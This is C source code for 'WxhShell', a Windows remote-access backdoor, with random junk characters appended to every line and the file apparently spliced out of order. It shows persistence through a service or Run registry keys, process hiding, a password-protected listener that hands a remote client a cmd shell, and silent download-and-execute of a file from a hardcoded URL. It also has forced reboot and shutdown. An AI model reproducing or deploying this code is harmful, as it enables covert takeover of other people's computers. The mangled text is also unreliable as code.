    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^&-H"jF  
    if(Boot(SHUTDOWN)) )TFBb\f>v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q0cr^24/  
    else { u]%>=N(^2  
    closesocket(wsh); 'ffOFIz|=I  
    ExitThread(0); |L"!^Y#=D  
    } Rf .b_Y@O  
    break; [6Nw)r(a(  
    } z LHE;  
  // 获取shell G B &+EZ  
  case 's': { gQ=g,X4  
    CmdShell(wsh); QC\][I>  
    closesocket(wsh); zkrcsc\Z~0  
    ExitThread(0); E?+MM0  
    break; Q]]5\C.  
  } I N'a5&..  
  // 退出 ; 3WA-nn  
  case 'x': { &^W91C?<6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \dIQhF%%2  
    CloseIt(wsh); r$Z_Kwe.|&  
    break; _^)<d$R<  
    } H!NyM}jsr  
  // 离开 / NlT[@T  
  case 'q': { aj:B+}1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &@MiR8  
    closesocket(wsh); c#6g[TE@  
    WSACleanup(); *1 [v08?!  
    exit(1); `/z6 Q"  
    break; :W\xZ  
        } VY9|8g/  
  } u< ,c  
  } oIP<7gz  
< <vE.  
  // 提示信息 lV0\UySH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NHCdf*  
} ~e!b81  
  } 02~+$R]L  
ZAG ia q  
  return; JM@}+pX  
} Vp'Zm:  
:2KLziO2  
// shell模块句柄 >_4Ck{^d#  
int CmdShell(SOCKET sock) ?T(>!m  
{ z$>_c "D  
STARTUPINFO si; fiq4|!^h  
ZeroMemory(&si,sizeof(si)); ]OZk+DU:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %;E/{gO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~Zc=FP:1  
PROCESS_INFORMATION ProcessInfo; 9p#Laei].  
char cmdline[]="cmd"; =nYd|Ok  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KnC;j-j  
  return 0; /@<Pn&Rq  
} z3  lZ3  
L]goHs  
// 自身启动模式 Qw ukhD7  
int StartFromService(void) &O'6va  
{ gqje]Zc<  
typedef struct lKMOsr@l  
{ y0d a8sd)  
  DWORD ExitStatus; E2s lpo  
  DWORD PebBaseAddress; ]mN'Qoc  
  DWORD AffinityMask; 5;5DEMe  
  DWORD BasePriority; ]i-peBxw  
  ULONG UniqueProcessId; `;ofQz4  
  ULONG InheritedFromUniqueProcessId; rSUarfZ<  
}   PROCESS_BASIC_INFORMATION; GN4'LU  
3f2%+2Zjt,  
PROCNTQSIP NtQueryInformationProcess; A?V[/  
ER O'{nT&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U9[ &ci  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k|$08EK $  
>Q$, } `U;  
  HANDLE             hProcess; 4E`y*Hmzy+  
  PROCESS_BASIC_INFORMATION pbi; 3Ms ` ajJ  
+ou ]|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s:y~vd(Vi  
  if(NULL == hInst ) return 0; KV Vo_9S'  
(3DjFT3 w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lbka*@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I6x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HWJ(O/N  
3iHUG^sLW  
  if (!NtQueryInformationProcess) return 0; hlpi-oW`  
iyF~:[8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p`jkyi  
  if(!hProcess) return 0; bqHR~4 #IR  
2g elmQnc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .a%D:4GYR  
,Jy@n]x  
  CloseHandle(hProcess); +!'\}"q  
OSk+l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [i 18$q5D  
if(hProcess==NULL) return 0; HJVi:;o  
o~#cpU4{o  
HMODULE hMod; sw.cw}1  
char procName[255]; |F }y6 gH  
unsigned long cbNeeded; E880X<V)>  
e6C;A]T2E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,GB~Cmc1<Q  
8E:8iNbF  
  CloseHandle(hProcess); wN"j:G(  
)~ {T  
if(strstr(procName,"services")) return 1; // 以服务启动 QxRT%;'Zh]  
\Kp!G1?_AY  
  return 0; // 注册表启动 lWr{v\L'  
} >hkmL](^  
qB57w:J  
// 主模块 ra L!}  
int StartWxhshell(LPSTR lpCmdLine) =.=4P~T&  
{ }Ut*Y*  
  SOCKET wsl; Lo^0VD!O  
BOOL val=TRUE; |H`}w2U[j  
  int port=0; #-xsAKi  
  struct sockaddr_in door; OOzk@j^  
v=kQ / h  
  if(wscfg.ws_autoins) Install(); -}u=tiNG  
:.863_/  
port=atoi(lpCmdLine); hk =nXv2M  
D# ZzhHHP  
if(port<=0) port=wscfg.ws_port; KMO(f!?  
A"(XrL-pV  
  WSADATA data; .+|HJ(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W(h].'N  
RRW/.y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'R&Y pR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X]^FHYjhS  
  door.sin_family = AF_INET; BI\ )vr$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]JQ7x[  
  door.sin_port = htons(port); : +Na8\d  
DQC=f8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G:$Ta6=  
closesocket(wsl); F *`*5:7  
return 1; :fo.9J  
} ~HWH2g  
q]%eLfC(  
  if(listen(wsl,2) == INVALID_SOCKET) { 9 7 Oi}   
closesocket(wsl); PtH>I,/  
return 1; o~Jce$ X  
} b-Q*!U t  
  Wxhshell(wsl); 7jss3^.wA  
  WSACleanup(); x*]&Ca0+  
>o=O^:/L  
return 0; H =Y7#{}  
{+`'ZU6C  
} vL>cYbJ<  
V}?*kx~T2C  
// 以NT服务方式启动 +m|S7yr'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^|u7+b'|t  
{ 8|Wu8z--  
DWORD   status = 0; HPz9Er  
  DWORD   specificError = 0xfffffff; 7R4sd  
:{:R5d(_I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %sd1`1In  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O*;$))<wX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZDMv8BP7  
  serviceStatus.dwWin32ExitCode     = 0; Ri[ v(Zf  
  serviceStatus.dwServiceSpecificExitCode = 0; 'o D31\@I  
  serviceStatus.dwCheckPoint       = 0; Mnj\t3:  
  serviceStatus.dwWaitHint       = 0; 9|kc$+(+6  
V*xo3hU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hz?C9q3BX  
  if (hServiceStatusHandle==0) return; \<cs:C\h7  
&hTe-Es  
status = GetLastError(); .[%^~q7  
  if (status!=NO_ERROR) 9T`$gAI  
{ pD^7ZE6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WJ%4IaT  
    serviceStatus.dwCheckPoint       = 0; ,]A|z ~q  
    serviceStatus.dwWaitHint       = 0; 5Q)hl.<{o7  
    serviceStatus.dwWin32ExitCode     = status; @1+gY4g  
    serviceStatus.dwServiceSpecificExitCode = specificError; _/FpmnaY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z|KQiLza  
    return; T\ixS-%^  
  } XH^X4W  
\fX0&l;T9\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K1S:P( S  
  serviceStatus.dwCheckPoint       = 0; ss{y=O%9"  
  serviceStatus.dwWaitHint       = 0; #$-zg^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *d~).z)  
} ((& y:{?G  
caG5S#8-"  
// 处理NT服务事件,比如:启动、停止 +c7e[hz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ly\  `  
{ 8i epG  
switch(fdwControl) @fI1|v=eF  
{ T ^ z  
case SERVICE_CONTROL_STOP: B^7B-RBi0  
  serviceStatus.dwWin32ExitCode = 0; I_?+;<n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1/JtL>SKE  
  serviceStatus.dwCheckPoint   = 0; 9i6z  p'  
  serviceStatus.dwWaitHint     = 0; $-J0ou8~  
  { x9DG87P~+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rI'kGqU  
  } ^bD)Tg5K  
  return; =nVEdRU  
case SERVICE_CONTROL_PAUSE: N7Kg52|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9Dat oi  
  break; !^[i"F:G  
case SERVICE_CONTROL_CONTINUE: AVn?86ri  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $Ph T:  
  break; teQ <v[W.  
case SERVICE_CONTROL_INTERROGATE: OON]E3yy  
  break; *KMW6dg;  
}; =,MX%-2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8;%F-?  
} ]'.D@vFGO  
",v!geMvu  
// 标准应用程序主函数 QIK;kjr*A3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) buj *L&  
{ K~ch OX  
a^#\"c  
// 获取操作系统版本 z9}WP$W  
OsIsNt=GetOsVer(); %@,%A_So k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U%:K11Kr  
. r?URC  
  // 从命令行安装 e(z'u A{!  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]QJ N` ;b0  
ydZS^BqG  
  // 下载执行文件 iQT$#"m n  
if(wscfg.ws_downexe) { n<)gS7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yQ [n7du  
  WinExec(wscfg.ws_filenam,SW_HIDE); )yl;i  
} ln1QY"g  
M?gc&2 Y  
if(!OsIsNt) { G7qB   
// 如果时win9x,隐藏进程并且设置为注册表启动 pdw;SIoC  
HideProc(); |//D|-2  
StartWxhshell(lpCmdLine); vk jHh.  
} FQlYCb  
else -$2B!#]3  
  if(StartFromService()) I)(@'^)  
  // 以服务方式启动 )yTBtYw3  
  StartServiceCtrlDispatcher(DispatchTable); GG=R!+p2  
else X/8TRiTFv  
  // 普通方式启动 WC7ltw2  
  StartWxhshell(lpCmdLine); ML!>tCT  
6)]zt  
return 0; t/vw%|AS  
} %ij,xN  
sZDxTP+  
VF bso3q<j  
2(i@\dZCb<  
=========================================== } %bP9  
_SQQS67fu"  
g7l?/p[n  
6k=*O|r  
#dj,=^1_14  
d69synEw>k  
" z+5%.^Re  
Gbwq rH+  
#include <stdio.h> PAy/"R9DT-  
#include <string.h> Dk^T_7{  
#include <windows.h> }8LTYn  
#include <winsock2.h> Z.%0yS_T  
#include <winsvc.h> P+Q}bTb8  
#include <urlmon.h> OpLo[Y\  
lJJ`aYDp  
#pragma comment (lib, "Ws2_32.lib") !+)5?o  
#pragma comment (lib, "urlmon.lib") v.!e1ke8D*  
Q/%]%d  
#define MAX_USER   100 // 最大客户端连接数 0s72BcP  
#define BUF_SOCK   200 // sock buffer WNK)IC~c  
#define KEY_BUFF   255 // 输入 buffer @c -| Sl  
0F-%C>&g  
#define REBOOT     0   // 重启 EEp~\^ -  
#define SHUTDOWN   1   // 关机 ra|Ku!  
3 +WmM4|  
#define DEF_PORT   5000 // 监听端口 dr gCr:Gf  
x:E:~h[.^  
#define REG_LEN     16   // 注册表键长度 _@D"XL#L  
#define SVC_LEN     80   // NT服务名长度 G6XDPr:}  
Vpe\Okt:  
// 从dll定义API %0_}usrsk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #JYH5:*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?m\? #  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K 9tr Iy$v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VUUE2k;^  
o^3X5})sv  
// wxhshell配置信息 0x2[*pJ|IW  
struct WSCFG { 1EHL8@.M  
  int ws_port;         // 监听端口 "KKw\i  
  char ws_passstr[REG_LEN]; // 口令 O"ebrv  
  int ws_autoins;       // 安装标记, 1=yes 0=no >|rU*+I`  
  char ws_regname[REG_LEN]; // 注册表键名 V'8Rz#Gc5  
  char ws_svcname[REG_LEN]; // 服务名 }G ^nK m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *cy!PF&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1a tQ9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zq"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &Vy.)0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~F.kgX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZkqZO#nq C  
Zv5vYe9Ow  
}; XR+  
!-~sxa280r  
// default Wxhshell configuration \qkb8H  
struct WSCFG wscfg={DEF_PORT, 560`R>  
    "xuhuanlingzhe", bWg!/K55  
    1, R*l3 zn>  
    "Wxhshell", 1'!%$D  
    "Wxhshell", sP@7%p>wt  
            "WxhShell Service", (2(y9r*1  
    "Wrsky Windows CmdShell Service", #A 7|=E  
    "Please Input Your Password: ", jL0=a.;  
  1, eZ|_wB'r  
  "http://www.wrsky.com/wxhshell.exe", lQqP4-E?  
  "Wxhshell.exe" 5I&Dk4v  
    }; *:Uq ;)*  
4G'-"u^g  
// 消息定义模块 Ov@vNj&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =h\uC).t&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yqKSaPRA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FnCMr_  
char *msg_ws_ext="\n\rExit."; N gagzsJ=  
char *msg_ws_end="\n\rQuit."; dYZB> OS  
char *msg_ws_boot="\n\rReboot..."; i}/Het+(  
char *msg_ws_poff="\n\rShutdown..."; }t0JI3  
char *msg_ws_down="\n\rSave to "; ddwokXx (  
B) BR y%  
char *msg_ws_err="\n\rErr!"; |e91KmiqJ  
char *msg_ws_ok="\n\rOK!"; Ge ?Q)N  
+ctJV>  
char ExeFile[MAX_PATH]; w ,-4A o2x  
int nUser = 0; /kV5~i<1S  
HANDLE handles[MAX_USER]; U"535<mR  
int OsIsNt; yJ*g ;  
m1DrT>oN'  
SERVICE_STATUS       serviceStatus; i?D)XXB85  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |w.h97fj  
l}~9xa}:D|  
// 函数声明 42=/$V  
int Install(void); SedVp cb+  
int Uninstall(void); +R',$YzD  
int DownloadFile(char *sURL, SOCKET wsh); ^+O97<#6C  
int Boot(int flag); B=HE i\55K  
void HideProc(void); A2''v3-h8  
int GetOsVer(void); 59H~qE1Md  
int Wxhshell(SOCKET wsl); &F.L*M  
void TalkWithClient(void *cs); oA+'9/UY  
int CmdShell(SOCKET sock); ut^6UdJ+`  
int StartFromService(void); scPvuHzl  
int StartWxhshell(LPSTR lpCmdLine); a)' P/P  
kd OIL2T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N>IkK*v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BeFXC5-qat  
\t]_UNGyW  
// 数据结构和表定义 x$) E^|A+  
SERVICE_TABLE_ENTRY DispatchTable[] = +&[X7r<  
{ Z@i,9 a  
{wscfg.ws_svcname, NTServiceMain}, km29]V=}  
{NULL, NULL} k1fX-2H  
}; TTJj=KPA  
3Qd%`k  
// 自我安装 cd;~60@K  
int Install(void) $9ys! <g  
{ H^JFPvEc  
  char svExeFile[MAX_PATH]; KeWIC,kq  
  HKEY key; Ee^>Q*wahw  
  strcpy(svExeFile,ExeFile); zYEb#*Kar  
<f;X s(  
// 如果是win9x系统,修改注册表设为自启动 |N0RBa4%  
if(!OsIsNt) { {2LG$x-N%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [bjP-pX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r85j /YK  
  RegCloseKey(key); .xe+cK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %UB+N8x`a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +TN*6V{D  
  RegCloseKey(key); X<d`!,bn@  
  return 0; [0H]L{yV  
    } .[o`TlG%  
  } yGC3B00Z  
} ztC>*SX  
else { )D" 2Q:  
v[~Q   
// 如果是NT以上系统,安装为系统服务 ?I7%ueFY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B<jVo%og  
if (schSCManager!=0) ~8EzK_c  
{ o)M<^b3KO  
  SC_HANDLE schService = CreateService Wb;D9Z  
  ( =QhK|C!$A  
  schSCManager, vAzSpiv-  
  wscfg.ws_svcname, Z`>m   
  wscfg.ws_svcdisp, @DK`#,  
  SERVICE_ALL_ACCESS, `%$+rbo~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z L'krV  
  SERVICE_AUTO_START, Rw|P$dbu  
  SERVICE_ERROR_NORMAL, T&->xe f=  
  svExeFile, yK0iW  
  NULL, i'z (`"  
  NULL, uHPd!# ]  
  NULL, u2cDSRrqT  
  NULL, Ub`vf4EB  
  NULL w~>tpkUB  
  ); c"pu"t@/Z  
  if (schService!=0) gb/<(I )  
  { _*n 4W^8  
  CloseServiceHandle(schService); k; ned  
  CloseServiceHandle(schSCManager); }r|$\ms  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `vD.5  
  strcat(svExeFile,wscfg.ws_svcname); a7"Aq:IjU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bf6:J `5Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?L6pB]l8b  
  RegCloseKey(key); < mp_[-c  
  return 0; v8>bR|n5  
    } AL*M`m_  
  } u_6x{",5I  
  CloseServiceHandle(schSCManager); Jm,tN/o*  
} &e99P{\D  
} !rff/0/x"  
40%<E  
return 1; c.}#.-b8  
} z7R2viR[  
n7L|XkaQ  
// 自我卸载 4M P8t@z  
int Uninstall(void) TiD|.a8S  
{ 1B~[L 5p9  
  HKEY key; 5?|yYQM0tK  
hx8.  
if(!OsIsNt) { !CR#Fyt+9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d*l2x[8}g-  
  RegDeleteValue(key,wscfg.ws_regname); )^m"fQ+  
  RegCloseKey(key); R+ tQvxp#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rln% Y  
  RegDeleteValue(key,wscfg.ws_regname); eDsc_5I  
  RegCloseKey(key); 0+Q; a  
  return 0; URj2 evYW  
  } abg` : E  
} *@g>~q{`  
} Gq{);fq  
else { r\$`e7d}!  
0 D&-BAzi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hSG1f`  
if (schSCManager!=0) +Os9}uKf  
{ t<MO~_`!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bCV_jR+  
  if (schService!=0) bOD] `*q  
  { ~;0W +  
  if(DeleteService(schService)!=0) { ^a=V.  
  CloseServiceHandle(schService); 7myYs7N8[  
  CloseServiceHandle(schSCManager); r+,JM L   
  return 0; t_ id/  
  } d?N[bA  
  CloseServiceHandle(schService); MC%!>,tC  
  } *`V r P  
  CloseServiceHandle(schSCManager); R[}fr36>/  
} <STE~ZmO  
} %Q zk aXJ  
,Gy2$mglB  
return 1; c6tH'oV  
} K/z2.Npn  
8JU{]Z!G<;  
// 从指定url下载文件 [vOk=  
int DownloadFile(char *sURL, SOCKET wsh) $~NB .SY  
{ r;GAQH}j_  
  HRESULT hr; .GIygU_  
char seps[]= "/"; co{i~['u  
char *token; `IJTO_  
char *file; cq}i)y  
char myURL[MAX_PATH]; cRP!O|I`]  
char myFILE[MAX_PATH]; ow*^z78M{  
Qb'Q4@.  
strcpy(myURL,sURL); +.McC$!s  
  token=strtok(myURL,seps); 0Z jE(3i  
  while(token!=NULL) H6<3'P  
  { u^( s0q  
    file=token; WP !u3\91  
  token=strtok(NULL,seps); Bs^p!4=  
  } ICzcV };$  
UVgDm&FF  
GetCurrentDirectory(MAX_PATH,myFILE); S0?e/VWy  
strcat(myFILE, "\\"); \ \gAa-}:  
strcat(myFILE, file); -d^c!Iu|  
  send(wsh,myFILE,strlen(myFILE),0); p$a+?5'Q  
send(wsh,"...",3,0); >f(M5v(D\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U _~r0  
  if(hr==S_OK) 8}?w %FsN#  
return 0; !&pk^VFl+  
else W$:D#;jz`h  
return 1; p/KG{-f,  
]*<!|;q  
} ! l"*DR  
76b2 3|  
// 系统电源模块 bpdluWS+)  
int Boot(int flag) rN`-ak  
{ e5m]mzF@  
  HANDLE hToken; Dw.Pv)'$  
  TOKEN_PRIVILEGES tkp; \!wo<UX%  
iw I}  
  if(OsIsNt) { 3W}qNY;J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BKQwF *<V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8$38>cGY^  
    tkp.PrivilegeCount = 1; L[MAc](me-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1l\. >H\E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TmEh$M  
if(flag==REBOOT) { P7*?E*   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c!]yT0v&s  
  return 0; 6k;>:[p  
} 1HUe8m[#3  
else { B*n_ VBd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L\\'n )  
  return 0; tD6ukK1x  
} $"fO/8Ex  
  } j){0>O.V  
  else { pf#~|n#t  
if(flag==REBOOT) { s"(F({J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D'Uv7Mis  
  return 0; Z._%T$8aJv  
} `/9&o;qM   
else { Wo6C0Z3g}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I|_U|H!`  
  return 0; h&z(;B!;y.  
} &"clBR Vg  
} j4$NQ]e^4  
-P28pVX`  
return 1; A#nSK#wS61  
} 7e6; |?  
8^hbS%s!  
// win9x进程隐藏模块 ]wEFm;N  
void HideProc(void) *OHaqe(*  
{ u >[hLXuB  
'[Bok=$B)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oPrK{flm  
  if ( hKernel != NULL ) LT]YYn($  
  { lSBu,UQP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y~Vl0f;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O]G3l0  
    FreeLibrary(hKernel); }ssL;q  
  } F,@uYMQs  
wQ '_, d  
return; F\-oZ#g  
} `}~NZ  
7$"n.cr :  
// 获取操作系统版本 9HZR%s[J  
int GetOsVer(void) 4']eJ==OH  
{ 7&1 dr  
  OSVERSIONINFO winfo; l42tTD8Awz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \!zM4ppr  
  GetVersionEx(&winfo); YeB)]$'?u`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /,JL \b  
  return 1; `\Te,  
  else !uAqY\Is  
  return 0; nI,-ftMD-|  
} XF`?5G~~#  
dQ_yb+<  
// 客户端句柄模块 <+AvbqDe  
int Wxhshell(SOCKET wsl) %h& F  
{ 7$7#z\VWu  
  SOCKET wsh; 2 xt$w%  
  struct sockaddr_in client; < [q{0,  
  DWORD myID; ~U1M -<IX  
i(0%cNP7  
  while(nUser<MAX_USER) 7a4h7/  
{ AIt;~x  
  int nSize=sizeof(client); 8-FW'bA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vs, &  
  if(wsh==INVALID_SOCKET) return 1; Y >U_l:_^  
isor%R!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +}Qq#^:_\  
if(handles[nUser]==0) I?KGb:]|  
  closesocket(wsh); Q,n Xc  
else +]0/:\(B  
  nUser++; 1a'0cSH  
  } 2I0Zr;\f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @c;:D`\p1C  
a+P^?N  
  return 0; M`,`2I A  
} |[MtUWEW  
{3K`yDF  
// 关闭 socket /N=M9i\;  
void CloseIt(SOCKET wsh) SD]rYIu+  
{ oZw#]Q@  
closesocket(wsh); >"pHk@AWK  
nUser--; e{}vT$-  
ExitThread(0); Y9y'`}+  
} <MgC7S2I  
LmjGU[L,@  
// 客户端请求句柄 $mut v=IO  
void TalkWithClient(void *cs) V~S(cO[vj  
{ D9higsN  
 Z6_fI  
  SOCKET wsh=(SOCKET)cs; ~~{+?v6B]  
  char pwd[SVC_LEN]; z{A~d  
  char cmd[KEY_BUFF]; @K}Bll.E  
char chr[1]; '%KaAi$  
int i,j; !.[H !-V.  
_PGS"O?j  
  while (nUser < MAX_USER) { sQ8kLS_q8  
mC./,a[  
if(wscfg.ws_passstr) { )q>q]eHz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .Tc?PmN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q =4~u z|  
  //ZeroMemory(pwd,KEY_BUFF); -5MQ/ujQ  
      i=0; D[<~^R;*  
  while(i<SVC_LEN) { epxbTJfc  
bs?&;R.5  
  // 设置超时 ]w~ECP(ap  
  fd_set FdRead; [}Y_O*C !  
  struct timeval TimeOut; 1NQU96  
  FD_ZERO(&FdRead); #oxP,LR  
  FD_SET(wsh,&FdRead); "eR-(c1  
  TimeOut.tv_sec=8; !t|2&R$IQ  
  TimeOut.tv_usec=0; Mby V_A`r_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N.q0D5 :  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k1Sr7|  
{1[f9uPS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tJ Mm  
  pwd=chr[0]; }W5~89"  
  if(chr[0]==0xd || chr[0]==0xa) { I$JyAj  
  pwd=0; _E4_k%8y  
  break; ;6{{hc4  
  } (\CH;c-@  
  i++; jF|LPWl  
    } $im6v  
cD]#6PFA  
  // 如果是非法用户,关闭 socket Z2&7HTz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RwDXOdgu  
} Hzojv<c  
IS%e5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M`QK{$1p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?xb2jZ/0X  
tW"s^r=95  
while(1) { lfyij[6q+  
x(y=.4Yf+  
  ZeroMemory(cmd,KEY_BUFF); TZw['o  
7!^Zsp^+  
      // 自动支持客户端 telnet标准   KBwY _  
  j=0; #s|,o Im  
  while(j<KEY_BUFF) { lcuqzX{7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `k~w 14~w  
  cmd[j]=chr[0]; ?/^{sW' |  
  if(chr[0]==0xa || chr[0]==0xd) { ad`=A V]  
  cmd[j]=0; Jek3K&  
  break; Ql? >,FZ  
  } F7U$ 7(I2G  
  j++; HC(o;,spO  
    } ?<D1] Xv  
RgLkAHA  
  // 下载文件 JeU1r-i  
  if(strstr(cmd,"http://")) { b%|6y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pt?d+aBtV  
  if(DownloadFile(cmd,wsh)) 4 |xQQv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f(.t0{Etq  
  else ,Zb_Pu   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .5+5ca  
  } -59;Zn/  
  else { p@%H. 5&&  
uAv'%/  
